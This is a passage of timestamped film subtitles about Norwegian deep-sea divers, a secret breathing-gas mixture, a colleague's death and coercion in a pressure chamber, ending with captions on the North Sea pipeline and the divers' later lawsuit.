part in there. That's it. Great!

00:56:48.844 --> 00:56:52.214
Martin? Remember
the flashlight I gave you?

00:56:52.215 --> 00:56:53.714
Yeah.

00:56:53.715 --> 00:56:58.085
- You know where it is?
- In a suitcase.

00:56:58.086 --> 00:57:00.555
- Your suitcase?
- I think so.

00:57:00.556 --> 00:57:04.003
- Where is it?
- In my room.

00:57:15.003 --> 00:57:17.976
What's that?

00:57:20.976 --> 00:57:23.123
It's a gas sample.

00:57:43.865 --> 00:57:46.201
Leif?

00:57:46.202 --> 00:57:48.672
Hello?

00:57:55.143 --> 00:57:57.279
Hello?

00:57:57.280 --> 00:57:59.814
...it has imposed on

00:57:59.815 --> 00:58:02.651
the individual freedoms
of the people...

00:58:02.652 --> 00:58:05.795
Leif?

00:58:13.795 --> 00:58:15.606
Leif?

00:58:27.677 --> 00:58:29.110
Leif?

00:58:38.119 --> 00:58:39.692
Leif?

00:58:42.692 --> 00:58:44.295
Leif?

00:58:47.295 --> 00:58:49.800
Leif?

00:58:51.800 --> 00:58:53.737
Leif?

00:58:55.737 --> 00:58:57.347
Hey!

00:59:57.266 --> 00:59:59.074
Hey! Hey!

01:00:12.114 --> 01:00:13.731
Hey!

01:02:23.445 --> 01:02:27.915
Leif died as a result of
a morphine overdose,

01:02:27.916 --> 01:02:29.551
according to the police.

01:02:29.552 --> 01:02:32.319
The medical examiner
has yet to verify that.

01:02:32.320 --> 01:02:36.457
But, um... I know at least
some of you are aware of the...

01:02:36.458 --> 01:02:41.995
courageous efforts that Leif
made to battle his addiction.

01:02:41.996 --> 01:02:44.575
In fact, he was supposed to be
in rehab this week.

01:02:45.000 --> 01:02:49.169
Unfortunately he never
checked himself in.

01:02:49.170 --> 01:02:53.274
For obvious reasons,
the family would prefer

01:02:53.275 --> 01:02:54.908
that the manner of his death not

01:02:54.909 --> 01:02:56.544
become a matter
of public knowledge.

01:02:56.545 --> 01:02:59.580
I found Knut's gas cylinder.

01:02:59.581 --> 01:03:01.114
It's up to each one of us

01:03:01.115 --> 01:03:05.085
to help protect
the colleague's reputation.

01:03:05.086 --> 01:03:09.223
Let's observe a moment of
silence in memory of our friend.

01:03:09.224 --> 01:03:10.625
Leif Lindberg.

01:03:10.626 --> 01:03:12.359
You want me to test it?

01:03:12.360 --> 01:03:13.360
Hm?

01:03:14.028 --> 01:03:15.607
You want me to test it for you?

01:03:24.606 --> 01:03:27.518
It's empty.

01:03:36.518 --> 01:03:39.956
I have to know what's in
that goddamn gas.

01:03:41.956 --> 01:03:45.660
If I go on the next dive,
bring back a gas sample,

01:03:45.661 --> 01:03:48.532
will you test it when
I get back?

01:03:51.532 --> 01:03:56.169
No, after everything you've
been through, you need a break.

01:03:56.170 --> 01:03:59.374
Besides, you're not prepared.
These boys have been training.

01:03:59.375 --> 01:04:03.384
- Of course I'm prepared...
- That's my final decision.

01:04:08.384 --> 01:04:11.373
Maria, do you have a...

01:04:31.373 --> 01:04:34.559
To the right.

01:04:51.559 --> 01:04:54.328
There are no
Norwegian divers left.

01:04:54.329 --> 01:04:56.730
That's why you have to go.

01:04:56.731 --> 01:04:59.500
The Americans refuse
to let me dive.

01:04:59.501 --> 01:05:02.102
Who's stopping you?

01:05:02.103 --> 01:05:05.973
The diving physician. Ronald.

01:05:05.974 --> 01:05:09.977
- What's he saying?
- That I'm not prepared.

01:05:09.978 --> 01:05:13.989
That I'm not fit. I don't know.

01:05:19.989 --> 01:05:23.256
The pipeline will
come ashore there.

01:05:23.257 --> 01:05:26.761
The Americans think
they've won the contract.

01:05:26.762 --> 01:05:29.597
That they can just open the tap
and help themselves.

01:05:32.101 --> 01:05:34.003
You'll make a good supervisor.

01:05:35.003 --> 01:05:37.705
That's not what I want.
I wanna dive.

01:05:37.706 --> 01:05:42.542
I'm talking about
your future opportunities.

01:05:42.543 --> 01:05:45.446
When we start pumping the oil.

01:05:45.447 --> 01:05:47.381
Of course you'll dive.

01:05:47.382 --> 01:05:50.791
It's not up to the
physician to decide.

01:05:56.791 --> 01:05:59.362
Are you ready?

01:06:28.556 --> 01:06:31.677
I'm going back to work.

01:06:48.677 --> 01:06:52.279
I'll be back in three weeks.

01:06:52.280 --> 01:06:55.159
That's exactly what Knut said.

01:07:05.159 --> 01:07:08.733
Let me show you something.

01:07:12.733 --> 01:07:15.203
You can turn it off now.

01:07:15.204 --> 01:07:18.105
- Petter! Turn it off!
- Shut the valve, Petter!

01:07:18.106 --> 01:07:20.708
You hear me?! Shut it off!

01:07:28.750 --> 01:07:32.386
What the hell is wrong with you?

01:07:32.387 --> 01:07:34.788
Hm?

01:07:34.789 --> 01:07:38.158
I have to find out
what happened.

01:07:38.159 --> 01:07:40.794
I have to understand, get it?

01:07:40.795 --> 01:07:45.332
- I don't need to know.
- But I do!

01:07:45.333 --> 01:07:48.873
That's why I have to
go down there.

01:08:51.800 --> 01:08:55.341
I'm sorry about
your friend, Leif.

01:08:59.341 --> 01:09:02.851
We all get what's coming to us.

01:09:10.851 --> 01:09:12.553
Petter? For you.

01:09:12.554 --> 01:09:14.388
Hey, missy.
You're a scientist.

01:09:14.389 --> 01:09:18.600
Inspect this.

01:09:24.600 --> 01:09:28.769
You recently lost your brother
on a similar dive.

01:09:28.770 --> 01:09:31.605
How does that affect your work?

01:09:31.606 --> 01:09:35.408
I think he'd have wanted me
to go on diving.

01:09:35.409 --> 01:09:38.779
I don't really think
it's affected my work.

01:09:43.918 --> 01:09:45.885
Excuse me?
Dr. Lindberg called me.

01:09:45.886 --> 01:09:47.854
Leif?

01:09:47.855 --> 01:09:49.991
The day before he died.

01:09:49.992 --> 01:09:52.359
Wanted to talk
about the accident.

01:09:52.360 --> 01:09:55.696
- Anything else we should know?
- No, not that I can remember.

01:09:55.697 --> 01:09:59.641
Do me a favor and call me
if you remember anything.

01:10:06.641 --> 01:10:09.676
Be careful about what
you say to the press.

01:10:09.677 --> 01:10:14.282
- What?
- You heard me.

01:10:14.283 --> 01:10:18.286
The gas sample
you're taking in the bell.

01:10:18.287 --> 01:10:20.654
Give it to Pia
as soon as you're back.

01:10:20.655 --> 01:10:23.498
- What are you talking about?
- Don't try to get smart.

01:10:38.039 --> 01:10:41.474
Hey, Pete,
think you're ready for this?

01:10:41.475 --> 01:10:43.011
What?

01:10:44.011 --> 01:10:46.015
- You ready for this?
- Yeah.

01:10:47.015 --> 01:10:48.805
You don't think so?

01:11:18.579 --> 01:11:21.650
Slow... perfect.

01:11:22.650 --> 01:11:24.751
Petter is going first, Mike.

01:11:24.752 --> 01:11:26.687
Fuck you he's going first.

01:11:26.688 --> 01:11:29.523
My fucking record, sir.

01:11:29.524 --> 01:11:32.792
This is not
about your record, Mike.

01:11:32.793 --> 01:11:35.478
We're here to prove
that we can build the pipeline.

01:11:36.030 --> 01:11:38.698
- It's all right.
- No, it's not.

01:11:38.699 --> 01:11:40.802
He can take Phil with him
and I can tend the bell.

01:11:41.002 --> 01:11:42.702
Please just do
as you're told, guys.

01:11:42.703 --> 01:11:44.582
This is bullshit.

01:11:53.582 --> 01:11:56.087
Open gas supply, divers.

01:11:59.087 --> 01:12:01.997
Gas open.

01:13:02.484 --> 01:13:05.110
Come on, Pete,
pull yourself together.

01:14:18.193 --> 01:14:20.238
Begin to pressurize.

01:14:31.238 --> 01:14:33.640
- Trond?
- Yeah?

01:14:33.641 --> 01:14:36.544
I don't feel too good.
I'll switch places

01:14:36.545 --> 01:14:39.246
with Philip, and man the bell.

01:14:39.247 --> 01:14:43.983
Phillip,
you'll have to do the welding.

01:14:43.984 --> 01:14:46.068
I knew you weren't ready.

01:15:00.068 --> 01:15:01.671
Okay, guys...

01:15:03.671 --> 01:15:06.078
...give me an update
on the welding.

01:15:11.078 --> 01:15:14.081
Guys?

01:15:14.082 --> 01:15:15.787
Still there?

01:15:18.787 --> 01:15:19.787
Mike?

01:15:23.024 --> 01:15:24.859
Okay.

01:15:25.859 --> 01:15:28.797
How long do you have left?

01:15:29.797 --> 01:15:31.167
Should be done in an hour.

01:15:33.167 --> 01:15:34.167
Okay.

01:16:24.819 --> 01:16:27.256
You ready for your photo,
pin-up girl?

01:16:29.256 --> 01:16:30.957
That's why you're here, right?

01:16:30.958 --> 01:16:33.952
To celebrate all the work
we've done for you?

01:18:03.952 --> 01:18:05.952
Is that Niagra Falls

01:18:05.953 --> 01:18:07.955
or are you just happy to see me?

01:18:07.956 --> 01:18:11.358
- Hi.
- Hi. I couldn't get the sample.

01:18:11.359 --> 01:18:13.961
Why not?

01:18:13.962 --> 01:18:16.496
I didn't have time.
No room for it.

01:18:16.497 --> 01:18:21.135
- Welcome back. How've you been?
- All right.

01:18:21.136 --> 01:18:24.938
How did Jeger know
about the sample?

01:18:24.939 --> 01:18:29.977
Who do you think I work for?
To build the pipeline ourselves,

01:18:29.978 --> 01:18:33.149
we need the American gas recipe.

01:18:35.149 --> 01:18:37.518
Were you going to
give me the results?

01:18:37.519 --> 01:18:40.448
Yes, of course.

01:19:25.533 --> 01:19:28.367
- Mike? Mike?
- Yeah, man?

01:19:28.368 --> 01:19:30.403
You know where Ronald is?

01:19:30.404 --> 01:19:32.578
I don't know. Downstairs
or something?

01:19:36.578 --> 01:19:39.548
Petter... Petter!

01:19:41.548 --> 01:19:44.585
If you have the sample,
give it to me now.

01:19:44.586 --> 01:19:46.920
You risk your life
if you keep it.

01:19:46.921 --> 01:19:48.154
You risk your life
if you keep it.

01:19:48.155 --> 01:19:49.466
I don't have it.

01:19:58.466 --> 01:20:00.106
You leaving?

01:20:06.106 --> 01:20:09.475
I've proved what they
hired me to do.

01:20:09.476 --> 01:20:12.548
I got a sample of
your breathing mix.

01:20:14.548 --> 01:20:18.551
- Where?
- Tell me what's in it first.

01:20:18.552 --> 01:20:20.953
I can get someone
to test it for me.

01:20:20.954 --> 01:20:23.024
And I will go public with it.

01:20:24.024 --> 01:20:27.361
It's a secret,
it's how I make my living.

01:20:27.362 --> 01:20:30.371
By drugging us?

01:20:36.371 --> 01:20:38.056
Let me show you something, Pete.

01:20:39.006 --> 01:20:42.041
At the depths at which
you boys need to work,

01:20:42.042 --> 01:20:44.944
the nervous system
is affected by the pressure.

01:20:44.945 --> 01:20:49.448
You need an anesthetic
to work down there.

01:20:49.449 --> 01:20:52.653
- Anesthetic?
- Drug.

01:20:52.654 --> 01:20:54.520
Call it whatever you like.

01:20:54.521 --> 01:20:56.657
You need something to overcome

01:20:56.658 --> 01:20:59.529
the effects of that
pressure sickness.

01:21:04.298 --> 01:21:06.269
Have a look.

01:21:08.269 --> 01:21:11.537
I want to explain to you
why you need an anesthetic.

01:21:11.538 --> 01:21:14.547
Without it, you'd collapse.

01:21:20.547 --> 01:21:24.019
We're just past 500 meters.

01:21:25.019 --> 01:21:26.987
The big glass has
no anesthetics.

01:21:26.988 --> 01:21:29.560
Which would you rather be?

01:21:32.560 --> 01:21:35.495
I collapsed on your drugs

01:21:35.496 --> 01:21:37.163
and my brother died
because of it.

01:21:37.164 --> 01:21:39.166
You blacked out,
but not because of my gas.

01:21:39.167 --> 01:21:43.370
I know what happened, I saw
the tape, Leif showed it to me.

01:21:43.371 --> 01:21:47.040
Think about it, Pete,
no one else fainted, only you.

01:21:47.041 --> 01:21:48.975
Jørgen was fine and so was

01:21:48.976 --> 01:21:50.711
your brother until you
passed out

01:21:50.712 --> 01:21:53.080
- and caused the explosion.
- Jørgen's a mess.

01:21:53.081 --> 01:21:55.514
Yes, both you and Jørgen
are clearly affected

01:21:55.515 --> 01:21:59.020
but not Mike. And Mike's
been on my gas more than anyone.

01:22:00.020 --> 01:22:02.326
What does that tell you?

01:22:04.926 --> 01:22:07.693
Why did you take him out
of the pressure chamber then?

01:22:07.694 --> 01:22:09.662
Because I didn't want
to expose him

01:22:09.663 --> 01:22:11.465
to Leif's misguided experiments.

01:22:11.466 --> 01:22:15.402
And it turned out to be
the right goddamn decision.

01:22:15.403 --> 01:22:19.339
Your blackouts were
caused here. By Leif.

01:22:19.340 --> 01:22:25.278
He took away my gas, the one
thing that could sustain you.

01:22:25.279 --> 01:22:29.683
No one can handle a gas
change like that at 500 meters.

01:22:29.684 --> 01:22:33.720
You begin hallucinating,
remember the albatross?

01:22:35.756 --> 01:22:39.425
That's when you and Jørgen
began having blackouts.

01:22:39.426 --> 01:22:41.134
So you're saying what?

01:22:46.134 --> 01:22:49.536
That my brain is damaged?

01:22:49.537 --> 01:22:51.373
Because of Leif?

01:22:53.373 --> 01:22:55.278
Why didn't you tell me?

01:22:57.278 --> 01:23:01.480
You sent me down there
and you knew.

01:23:01.481 --> 01:23:03.617
You knew...!

01:23:03.618 --> 01:23:05.719
I tried to stop you
from going down.

01:23:05.720 --> 01:23:08.788
It was hard to
stop you, Pete, you...

01:23:08.789 --> 01:23:11.146
You wouldn't listen to me.

01:24:05.212 --> 01:24:09.551
Hey, Pete.
Can you hear me?

01:24:11.551 --> 01:24:13.219
What?

01:24:13.220 --> 01:24:17.189
You've got something of mine
and I want it back.

01:24:17.190 --> 01:24:20.260
What do you mean?

01:24:20.261 --> 01:24:23.295
You know what I mean.

01:24:23.296 --> 01:24:26.233
The gas sample will be
given to Yurig

01:24:26.234 --> 01:24:29.169
if something happens to me.

01:24:29.170 --> 01:24:33.911
Hey, son, this is
not a negotiation.

01:24:45.685 --> 01:24:49.162
Pete, you're gonna sit there
until you tell me where it is.

01:24:55.162 --> 01:24:57.801
Where is it?

01:25:00.801 --> 01:25:04.645
Take him down again.

01:25:18.185 --> 01:25:21.393
Stop! Stop!

01:25:25.393 --> 01:25:28.664
Talk to me, son.

01:25:30.664 --> 01:25:33.532
- I'll show it to you.
- No.

01:25:33.533 --> 01:25:36.736
You won't show me,
you're gonna tell me

01:25:36.737 --> 01:25:38.938
where it is,
we're gonna go get it,

01:25:38.939 --> 01:25:42.209
and then I'm gonna
let you out of here.

01:25:42.210 --> 01:25:45.684
Where is it, son?

01:25:49.684 --> 01:25:52.670
Damn it! Down!

01:26:09.670 --> 01:26:13.744
It really doesn't have
to be this hard, son.

01:26:17.744 --> 01:26:19.411
What do you think you're doing?

01:26:19.412 --> 01:26:23.890
If you want to kill him, you'll
have to do it yourself, sir.

01:26:30.890 --> 01:26:33.296
You need him alive, don't you?

01:26:35.296 --> 01:26:38.001
He's a stubborn son of a bitch.

01:26:40.001 --> 01:26:43.903
- Come and get me when he's out.
- Pete.

01:26:43.904 --> 01:26:47.040
Pete, can you hear me?

01:26:47.041 --> 01:26:49.943
I'm bringing you back up.

01:26:49.944 --> 01:26:52.812
- What about the decompression?
- We'll deal with that later.

01:26:52.813 --> 01:26:54.447
If you bounce him
back this fast,

01:26:54.448 --> 01:26:56.497
he might not be around later.

01:27:18.672 --> 01:27:20.706
- Does he have a pulse?
- Faint.

01:27:20.707 --> 01:27:24.511
Check his breathing,
I'm gonna go get Ronald.

01:28:09.689 --> 01:28:12.492
We can't bounce him right up.

01:28:12.493 --> 01:28:15.493
He's got ten minutes until
he gets decompression sickness.

01:28:28.042 --> 01:28:30.970
Hey!

01:29:46.453 --> 01:29:50.189
Hey! Don't move. Don't move!

01:29:50.190 --> 01:29:53.596
It's me, Petter. It's me.

01:29:56.596 --> 01:29:59.069
Petter, give me five minutes.

01:30:03.069 --> 01:30:05.138
You can't trust anyone.
Leif...

01:30:05.139 --> 01:30:07.206
What did you get to lie?

01:30:07.207 --> 01:30:10.210
I didn't do it for the money,
but to help you.

01:30:10.211 --> 01:30:12.077
To help me?

01:30:12.078 --> 01:30:14.813
How does it help me if
you lie and take

01:30:14.814 --> 01:30:17.951
the blame for something
you didn't do?

01:30:17.952 --> 01:30:20.687
We thought it was your fault.

01:30:20.688 --> 01:30:22.956
I'm not gonna listen
to this crap.

01:30:22.957 --> 01:30:25.090
Just hear me out.

01:30:25.091 --> 01:30:27.559
They're all in on it.

01:30:27.560 --> 01:30:31.563
Does it look like I've
got time to listen to you?

01:30:31.564 --> 01:30:34.200
I just came from 100 meters
in the chamber.

01:30:34.201 --> 01:30:36.836
I'm going into the water -

01:30:36.837 --> 01:30:41.247
to treat myself for
decompression sickness.

01:30:46.247 --> 01:30:49.282
That guy from the
Petroleum Directorate, Jeger

01:30:49.283 --> 01:30:52.585
told me exactly what to say.

01:30:52.586 --> 01:30:55.587
He got me a plane
ticket to Spain,

01:30:55.588 --> 01:30:58.300
just to get rid of me.
Don't trust him.

01:33:55.002 --> 01:33:57.370
Hey.

01:33:57.371 --> 01:34:00.377
Petter?

01:34:03.377 --> 01:34:06.282
Ferris tried to kill me.

01:34:08.282 --> 01:34:12.417
They tried to kill me.

01:34:12.418 --> 01:34:14.457
Hey, hey.

01:34:17.457 --> 01:34:20.793
Shh. Shh.

01:35:02.502 --> 01:35:04.373
- Hi.
- Hi.

01:35:07.373 --> 01:35:10.242
Coffee?

01:35:10.243 --> 01:35:12.518
No thanks.

01:35:17.518 --> 01:35:20.222
Ferris gave me this.

01:35:23.222 --> 01:35:26.198
He wanted to avoid
a police investigation.

01:35:32.198 --> 01:35:36.269
Why did you accept it?
You wouldn't take my money.

01:35:36.270 --> 01:35:40.007
- It's not your responsibility.
- Of course it is.

01:35:41.007 --> 01:35:44.544
Would you rather take money
from a guy

01:35:44.545 --> 01:35:48.313
who's willing to kill me?
Is that better?

01:35:48.314 --> 01:35:50.950
How was I supposed to know?

01:35:50.951 --> 01:35:53.521
You must have
realized something?

01:35:55.521 --> 01:35:59.509
I've realized it's time
to look ahead.

01:36:15.509 --> 01:36:18.447
Can I take it?

01:36:20.447 --> 01:36:22.304
Why?

01:36:44.304 --> 01:36:48.040
- Hi.
- Hi.

01:36:48.041 --> 01:36:52.310
- They found a dead body.
- Yeah.

01:36:52.311 --> 01:36:54.619
It was Jørgen.

01:36:59.619 --> 01:37:01.219
I've got the gas sample.

01:37:01.220 --> 01:37:03.956
- What are you doing with it?
- I'll give it to you.

01:37:03.957 --> 01:37:07.061
- That's the deal, right?
- Yeah.

01:37:09.061 --> 01:37:11.032
As soon as Ferris
leaves the country.

01:37:12.032 --> 01:37:15.273
How am I gonna make that happen?

01:37:19.273 --> 01:37:22.158
I'm sure you and
Jeger can sort it out.

01:37:38.158 --> 01:37:39.992
Petter?

01:37:39.993 --> 01:37:42.627
The allegations
would be laughable

01:37:42.628 --> 01:37:45.096
were it not for the
potential damage

01:37:45.097 --> 01:37:47.465
they'd do to my
company's reputation.

01:37:47.466 --> 01:37:48.800
They're just not true.

01:37:48.801 --> 01:37:53.139
However, Deep Sea Diving
did feel a moral obligation

01:37:53.140 --> 01:37:56.142
to make an offer of
compensation to his widow.

01:37:56.143 --> 01:38:00.712
There were no preconditions,
I repeat no preconditions

01:38:00.713 --> 01:38:03.181
to this offer of imbursement.

01:38:03.182 --> 01:38:07.319
This is not a business practice
we want in this country.

01:38:07.320 --> 01:38:13.091
Trying to bribe relatives like
that is completely unacceptable.

01:38:13.092 --> 01:38:17.263
Can you lay the pipeline
without the Americans?

01:38:17.264 --> 01:38:20.099
I'm confident we have
the necessary

01:38:20.100 --> 01:38:23.378
know-how to do
the job ourselves.

01:38:40.220 --> 01:38:44.659
- What are you looking for?
- I just don't trust you.

01:38:46.659 --> 01:38:50.261
Relax. We need you.

01:38:50.262 --> 01:38:54.733
I've been named CEO of a new,
state-owned company.

01:38:54.734 --> 01:38:59.304
We have to build
the pipeline ourselves.

01:38:59.305 --> 01:39:02.041
I need someone who's
been down there.

01:39:02.042 --> 01:39:04.410
You need the sample.

01:39:04.411 --> 01:39:08.214
The "necessary know-how",
as you call it.

01:39:08.215 --> 01:39:11.483
Yeah.

01:39:11.484 --> 01:39:13.126
We need you as well.

01:39:19.126 --> 01:39:23.629
I want a job as
diving supervisor.

01:39:23.630 --> 01:39:26.609
- Okay.
- And I want the money.

01:39:46.386 --> 01:39:50.359
The cylinder's in the
locker room.

01:39:52.359 --> 01:39:54.175
My brother's locker.

01:40:08.175 --> 01:40:10.742
Tell Maria we're grateful.

01:40:10.743 --> 01:40:13.478
She expects more than gratitude.

01:40:13.479 --> 01:40:16.118
"More than gratitude"?

01:40:19.118 --> 01:40:22.121
Her husband, your brother, dived
down to 320 meters.

01:40:22.122 --> 01:40:25.090
He died there.

01:40:25.091 --> 01:40:29.594
He knew it was dangerous,
but he did it... voluntarily.

01:40:29.595 --> 01:40:32.831
It was his job.

01:40:32.832 --> 01:40:37.117
The locker room.
Knut Jensen's locker.

01:40:50.117 --> 01:40:53.488
In twenty years,
when his son grows up...

01:40:55.488 --> 01:41:00.345
He'll grow up in one of
the world's richest countries.

01:44:24.591 --> 01:44:27.433
THE NORWEGIAN PARLIAMENT
APPROVED THE DEVELOPMENT PLANS

01:44:27.434 --> 01:44:30.035
FOR THE PIPELINE
ON JUNE 10TH, 1981.

01:44:30.036 --> 01:44:32.804
THE CONSTRUCTION WAS CARRIED OUT
BY THE STATE-OWNED COMPANY STATPIPE.

01:44:32.805 --> 01:44:35.674
CHOOSING TO PIPE THE PETROLEUM
RESOURSES TO THE MAINLAND

01:44:35.675 --> 01:44:38.410
MADE NORWAY THE WORLD'S
WEALTHIEST COUNTRY.

01:44:38.411 --> 01:44:39.812
IN 2004 A GROUP OF DIVERS FILED
A LAWSUIT AGAINST THE STATE

01:44:39.813 --> 01:44:41.080
AGAINST THE STATE OF NORWAY

01:44:41.081 --> 01:44:44.349
THEY DEMANDED COMPENSATION FOR
NEUROLOGICAL DAMAGES CONNECTED

01:44:44.350 --> 01:44:46.684
TO RESEARCH AND CONSTRUCTION
IN THE NORTH SEA.

01:44:46.685 --> 01:44:49.087
THE DIVERS LOST THE CASE
IN NORWEGIAN COURTS

01:44:49.088 --> 01:44:50.223
IN 2011 THEY APPEALED

01:44:50.224 --> 01:44:52.909
TO THE EUROPEAN COURT
OF HUMAN RIGHTS IN STRASBOURG.

ZeroDay Forums Mini